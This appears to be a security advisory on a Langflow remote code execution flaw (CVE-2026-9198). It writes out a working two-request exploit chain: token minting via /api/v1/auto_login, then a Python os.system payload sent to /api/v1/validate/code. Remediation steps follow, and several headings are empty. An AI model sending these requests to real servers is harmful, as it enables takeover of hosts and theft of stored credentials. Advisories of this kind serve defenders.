CVE-2026-9198: IBM Langflow Code Injection Vulnerability

Executive Summary

CVE-2026-9198 is a critical unauthenticated remote code execution vulnerability in Langflow, the popular open-source visual AI pipeline builder. By chaining two unauthenticated API endpoints, a remote attacker can obtain a SUPERUSER JSON Web Token and then execute arbitrary Python code on the server using the built-in exec() function — all without any credentials.

CVSS Score: 9.8 (Critical)

The flaw belongs to the broader family of Langflow RCE vulnerabilities that have been actively exploited and tracked by CISA in the Known Exploited Vulnerabilities (KEV) catalog. Langflow deployments are high-value targets because the platform sits at the center of LLM-backed workflows that hold cloud credentials, API keys, and database access by design.

Vulnerability Overview

Technical Details

The Two-Step Exploit Chain

The vulnerability exploits two design flaws working in tandem:

Step 1 — Unauthenticated SUPERUSER Token Minting

GET /api/v1/auto_login HTTP/1.1
Host: <langflow-server>

The /api/v1/auto_login endpoint issues a SUPERUSER JWT to any network caller without enforcing authentication. The endpoint also fails to bind to loopback only, making it reachable from any network path to the Langflow server.

Step 2 — Arbitrary Code Execution via exec()

POST /api/v1/validate/code HTTP/1.1
Host: <langflow-server>
Authorization: Bearer <superuser-jwt>
Content-Type: application/json
 
{
  "code": "import os; os.system('id > /tmp/pwned')"
}

The /api/v1/validate/code endpoint accepts Python source code and passes it directly to the built-in exec() function rather than parsing it in a sandboxed AST-only mode. The code executes in the Langflow server process under the service account.

Root Cause

Why Langflow Is a High-Value Target

Langflow deployments are configured to connect AI models to production data sources, databases, and external APIs. This means the platform's credential store functions as a master key ring for the entire AI pipeline.

Observed payloads during in-the-wild exploitation have targeted:

Affected Versions

Immediate Remediation

Step 1: Update Langflow

# Update via pip
pip install --upgrade langflow
 
# Verify installed version
pip show langflow | grep Version
 
# Update in Docker environments
docker pull langflowai/langflow:latest
docker compose up -d langflow

Step 2: Disable auto_login If Patching Is Delayed

# Set the LANGFLOW_AUTO_LOGIN environment variable to false
# In docker-compose.yml or .env:
LANGFLOW_AUTO_LOGIN=false
 
# Restart the service
docker compose restart langflow

Step 3: Restrict Network Access

# If Langflow is exposed, restrict access via firewall or reverse proxy auth
# Example: Nginx basic auth in front of Langflow
# Or restrict to known internal IPs only:
iptables -A INPUT -p tcp --dport 7860 ! -s <trusted-ip-range> -j DROP

Step 4: Audit Credentials

All API keys, cloud credentials, and secrets stored in or accessible from the Langflow deployment should be treated as potentially compromised if the server was exposed to the internet while running an affected version.

# Rotate AWS credentials
aws iam create-access-key --user-name <service-user>
aws iam delete-access-key --access-key-id <old-key>
 
# Audit which keys were stored in Langflow's credential vault

Detection Indicators

Broader Langflow KEV Context

The Langflow platform has accumulated five CVEs in the CISA Known Exploited Vulnerabilities catalog, reflecting sustained adversarial interest:

The pattern is consistent: Langflow's architecture of connecting LLMs to live system resources creates a high-consequence attack surface when authentication defenses are incomplete.

Post-Remediation Steps

1. Upgrade to a version beyond 1.10.0 immediately
2. Set LANGFLOW_AUTO_LOGIN=false as a defence-in-depth measure regardless of version
3. Rotate all credentials stored in or accessible from the Langflow instance
4. Enable authentication on any public-facing Langflow deployment
5. Deploy a WAF or API gateway with rate limiting in front of Langflow
6. Audit logs for exploitation indicators going back to initial deployment

References

• CISA KEV — Langflow Vulnerabilities
• The Hacker News — CISA Adds 4 Actively Exploited Adobe, Joomla, and Langflow Flaws to KEV
• BleepingComputer — CISA Orders Urgent Action on Actively Exploited Langflow RCE Flaw
• SentinelOne Vulnerability Database — CVE-2026-9198
• Picus Security — CVE-2026-5027 and Langflow RCE Explained
• Senserva — Langflow Vulnerabilities Actively Exploited: 5 CISA KEV CVEs

Related Reading

• CVE-2026-34486: Apache Tomcat Missing Encryption Vulnerability
• Langflow CVE-2026-33017 RCE Exploited 20 Hours After Disclosure
• Critical n8n Flaws Allow Remote Code Execution